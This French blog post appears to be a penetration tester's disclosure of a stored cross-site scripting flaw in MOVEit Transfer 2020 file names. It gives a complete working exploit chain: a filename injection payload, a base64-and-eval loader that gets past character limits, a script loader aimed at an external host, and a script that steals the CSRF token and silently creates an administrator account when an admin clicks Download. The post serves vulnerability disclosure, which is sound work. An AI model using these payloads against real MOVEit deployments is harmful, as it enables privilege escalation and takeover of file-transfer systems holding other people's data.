
Cross-Site Scripting stocké (XSS) dans l'application web MOVEit Transfer 2020
Lors d'un récent test d'application web, l'une des applications dans le périmètre était une application web MOVEit Transfer 2020. Pendant l'évaluation, une vulnérabilité de Cross-Site Scripting (XSS) stocké a été identifiée. Ce billet de blog détaillera la découverte et l'exploitation de cette vulnérabilité pour obtenir un accès administrateur à l'application web.
En testant la validation des entrées dans plusieurs champs différents de l'application, un champ particulier a semblé produire une sortie inattendue lorsque certaines charges utiles étaient fournies. Ce champ était le nom du fichier en cours de téléversement. Après avoir téléversé des fichiers avec certains noms, il a été constaté que lorsque l'on tentait de télécharger le fichier, le bouton de téléchargement n'effectuait aucune action. Ce comportement a été étudié et, comme on peut le voir dans l'image ci-dessous, une erreur JavaScript est déclenchée lors du clic sur le bouton de téléchargement.

Une fois cette erreur identifiée, le code HTML derrière le bouton de téléchargement a été analysé. L'analyse initiale a révélé que le nom du fichier est inclus dans la fonction JavaScript onclick du bouton sans être correctement assaini, comme le montre l'image ci-dessous.

Avec cette observation, il était clair qu'un code JavaScript pouvait être injecté et exécuté dès qu'un utilisateur cliquerait sur le bouton Download. La première étape a été de créer un code de Preuve de Concept déclenchant une popup JavaScript via la fonction alert. Compte tenu de la nature du code et de l'endroit où le nom du fichier est injecté, la charge utile suivante a été élaborée. Cette charge utile mettrait fin à la fonction appelée et ajouterait une nouvelle fonction, alert(), suivie d'une fonction factice pour compléter le code.
test", 382,"1234");alert("XSS");a("test
Avec cette charge utile en main, nous pouvons tester. Nous pouvons téléverser un fichier, puis intercepter la requête de téléversement vers le serveur en utilisant Burp Proxy, modifier le nom du fichier et transmettre la requête au serveur.


Une fois le fichier téléversé, nous pouvons maintenant ouvrir le fichier en cliquant sur son nom, puis cliquer sur le bouton Download. Ici, nous voyons que le XSS est déclenché et qu'une popup d'alerte JavaScript apparaît.

Cool ! Nous pouvons donc exécuter du code JavaScript arbitraire. Que pouvons-nous faire d'autre ? Pouvons-nous en tirer quelque chose de plus ?
Après avoir examiné l'application et ses fonctionnalités, un vecteur d'attaque potentiel pourrait être un utilisateur de bas niveau cherchant à élever ses privilèges pour obtenir un accès administrateur à l'application web.
La première étape a été de vérifier s'il est possible d'effectuer des requêtes HTTP via JavaScript en utilisant XMLHttpRequest. En examinant les paramètres des noms de fichiers et de dossiers, il a été constaté que MOVEit n'autorise aucun fichier ou dossier à contenir / ou \ dans son nom. Cela pourrait donc nous empêcher d'effectuer des requêtes HTTP. Une autre limitation identifiée est que le nom du fichier est limité à 255 caractères.
Sur la base de cette analyse, nous avons quelques restrictions à contourner. La première était d'essayer de trouver un moyen de contourner la limitation des caractères / et \ et d'inclure un fichier JavaScript hébergé sur un serveur distant. Pour contourner cette restriction, nous pouvons encoder le code JavaScript que nous voulons exécuter au format base64, puis le décoder en mémoire et l'exécuter via la fonction eval. L'extrait de code suivant fait exactement cela.
t",1,"1");var e="CODE BASE64";var d=atob(e);eval(d);a("t","t
Avec ce code, la première tentative a été d'injecter une balise <script> avec la source du fichier pointant vers un fichier hébergé en externe. L'extrait de code ci-dessous a été encodé en base64 puis copié dans l'extrait ci-dessus.
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);
Lors de cette tentative, un autre problème est apparu : la CSP. L'application web utilisait une CSP qui empêchait le chargement de fichiers JavaScript externes.


Donc, nous ne pouvons pas charger de fichiers externes et nous ne pouvons pas inclure de code JS dépassant 255 caractères. Que pouvons-nous faire maintenant ? Nous pouvons essayer d'abuser des fonctionnalités de MOVEit et l'utiliser pour héberger notre fichier JavaScript malveillant.
Nous devons d'abord créer le code JavaScript qui fera une requête GET vers la page responsable de l'ajout d'un nouvel utilisateur au système, et en extraire le jeton CSRF. Le script devra ensuite faire une requête POST pour créer un nouvel utilisateur administrateur, incluant le jeton CSRF extrait dans la requête. Voici l'extrait de code qui fait cela.
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020
function r(){
alert(1);
var uri = "human.aspx?arg12=useradd";
xhr = new XMLHttpRequest();
xhr.open("GET", uri, false);
xhr.send(null)
if (xhr.status === 200)
{
responseBody = read_body(xhr);
firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
if (csrfToken){
var adduserUri = "/human.aspx";
var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
xhr2 = new XMLHttpRequest();
xhr2.open("POST", adduserUri, false);
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.send(body);
}
}
}
function read_body(xhr) {
var data;
if (!xhr.responseType || xhr.responseType === "text") {
data = xhr.responseText;
} else if (xhr.responseType === "document") {
data = xhr.responseXML;
} else if (xhr.responseType === "json") {
data = xhr.responseJSON;
} else {
data = xhr.response;
}
return data;
}
Le code JavaScript ci-dessus doit être enregistré dans un fichier, puis téléversé sur MOVEit. Une fois le fichier téléversé, ouvrez les détails du fichier et cliquez sur le bouton de téléchargement tout en interceptant les requêtes web avec Burp Proxy. Dans les logs de Burp Proxy, il devrait y avoir une entrée pour le lien de téléchargement direct du fichier. Cette URL devrait ressembler à ceci :
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636
Ayant le lien de téléchargement direct, nous pouvons maintenant le configurer pour qu'il soit inclus dans la charge utile. Le code ci-dessous créera une balise script, définira l'URL source sur le lien de téléchargement direct, insérera la balise script dans la balise head de la page et, au chargement, exécutera la fonction r().
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);
L'étape suivante consiste à encoder en base64 l'extrait de code ci-dessus :
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==
L'étape suivante consiste à injecter cette charge utile XSS finale. Pour ce faire, téléversez un fichier tout en interceptant les requêtes avec Burp Proxy, puis modifiez le nom du fichier téléversé avec la charge utile XSS ci-dessous.
t",1,"1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t
Une fois le fichier téléversé, cliquez sur le fichier téléversé pour ouvrir les détails, puis cliquez sur le bouton Download pour déclencher le XSS et la création de l'utilisateur administrateur. Un utilisateur de bas niveau peut mettre en place cette configuration et, si le fichier téléversé est téléchargé par un utilisateur administrateur, l'utilisateur de bas niveau peut alors amener l'administrateur à créer involontairement un compte administrateur.
Chronologie